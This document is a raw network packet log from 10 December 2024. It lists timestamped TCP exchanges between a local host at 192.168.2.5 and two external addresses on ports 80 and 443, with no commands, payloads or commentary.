Dec 10, 2024 05:10:29.875089884 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.875713110 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.875829935 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.875879049 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.876760960 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.876872063 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.876919985 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.877942085 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.878074884 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.878120899 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.878344059 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:29.878386021 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:29.878417015 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:29.878436089 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:29.878448009 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:29.878520966 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:29.878547907 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:29.878561020 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:29.878566027 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:29.878588915 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:29.879034042 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.879085064 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.879159927 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.879199982 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.879810095 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.879852057 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.879916906 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.880543947 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.880832911 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.880875111 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.880954027 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.880992889 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.881838083 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.881885052 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.881973982 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.882023096 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.882880926 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.882929087 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.882989883 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.883028030 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.883903980 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.883959055 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.883975983 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.884011030 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.884938002 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.885051966 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.885103941 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.885952950 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.886071920 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.886126041 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.886384964 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:29.886430979 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:29.886436939 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:29.886972904 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.887053013 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:29.887088060 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.887111902 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:29.900748968 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:29.900806904 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:29.900810957 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:29.947243929 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:29.997631073 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:30.012382984 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.012423038 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.012506008 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.012794018 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.012918949 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.012983084 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.013884068 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.014002085 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.014054060 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.014823914 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.015088081 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.029659033 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.029721975 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.029795885 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.030267954 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.030360937 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.030407906 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.031104088 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.031202078 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.031256914 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.032108068 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.032229900 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.032284021 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.033121109 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.033349991 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.033401012 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.034147978 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.034316063 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.034364939 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.035178900 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.035305977 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.035357952 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.036202908 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.036325932 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.036370993 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.037220955 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.037264109 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.037322044 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.038255930 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.038302898 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.038357019 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.039079905 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.039259911 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.039365053 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.039407015 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.040286064 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.040401936 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.040446043 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.041146994 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:30.041313887 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.041374922 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.041415930 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.042336941 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.042381048 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.042412996 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.043085098 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.043356895 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.043476105 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.043523073 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.044389009 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.044523954 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.044569016 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.045418024 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.045464039 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.045521975 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.046441078 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.046494961 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.046531916 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.047079086 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.047446966 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.047499895 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.047542095 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.048491955 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.048587084 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.048638105 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.049499035 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.049621105 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.049664974 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.050543070 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.050642014 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.050699949 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.051568031 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.051671982 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.051733017 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.052566051 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.052695990 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.052752972 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.053586006 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.053718090 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.053774118 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.054635048 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.054774046 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.054842949 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.055661917 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.055779934 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.055831909 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.056654930 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.056775093 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.056829929 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.057709932 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.057802916 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.057856083 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.058705091 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.058795929 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.058847904 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.059727907 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.059853077 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.059900999 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.060756922 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.060811043 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.060870886 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.061414003 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.061789036 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.061850071 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.062143087 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.062191963 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.062803030 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.062849045 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.062932968 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.062973976 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.063834906 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.063875914 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.063939095 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.063978910 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.064861059 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.064908981 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.065013885 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.065901995 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.065929890 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.065943003 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.066060066 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.066905975 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.066957951 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.066991091 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.067075014 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.067941904 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.067982912 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.068016052 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.068053961 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.068943977 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.068993092 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.069081068 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.069119930 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.069972038 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.070017099 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.070087910 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.070127964 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.070223093 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:30.071001053 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.071085930 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.071119070 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.071157932 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.072052956 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.072154999 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.072182894 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.072240114 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.073046923 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.073160887 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.073211908 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.073957920 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:30.074033022 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:30.074055910 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.074081898 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:30.074090958 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:30.074100971 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.074120045 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:30.074136019 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:30.074165106 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:30.074362993 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:30.074374914 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:30.074385881 CET	49879	443	192.168.2.5	104.21.64.1
Dec 10, 2024 05:10:30.074390888 CET	443	49879	104.21.64.1	192.168.2.5
Dec 10, 2024 05:10:30.074553013 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.075086117 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.075109959 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.075149059 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.075172901 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.075213909 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.076137066 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.076184988 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.076211929 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.076250076 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.077130079 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.077183962 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.077243090 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.078156948 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.078205109 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.078275919 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.079086065 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.079168081 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.079257011 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.079303026 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.204273939 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.204389095 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.204463005 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.204767942 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.204798937 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.204857111 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.205809116 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.205866098 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.205898046 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.206810951 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.206855059 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.221703053 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.221985102 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.222054005 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.222125053 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.222228050 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.222268105 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.223141909 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.223232985 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.223282099 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.224204063 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.224248886 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.224342108 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.225181103 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.225224018 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.225271940 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.226207972 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.226250887 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.226267099 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.226305962 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.227224112 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.227310896 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.227364063 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.228239059 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.228349924 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.228387117 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.229274035 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.229358912 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.229403019 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.230310917 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.230357885 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.230408907 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.231092930 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.231318951 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.231359005 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.231378078 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.232333899 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.232382059 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.232438087 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.233403921 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.233449936 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.233484983 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.233525991 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.234394073 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.234498024 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.234544039 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.235397100 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.235513926 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.235554934 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.236424923 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.236572027 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.236618042 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.237442017 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.237481117 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.237543106 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.238467932 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.238511086 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.238538027 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.238861084 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.239492893 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.239543915 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.239579916 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.240528107 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.240575075 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.240612984 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.241568089 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.241620064 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.241651058 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.241689920 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.242575884 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.242661953 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.242710114 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.243594885 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.243724108 CET	80	49874	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:30.243769884 CET	49874	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:30.244626999 CET	80	49874	185.215.113.16	192.168.2.5
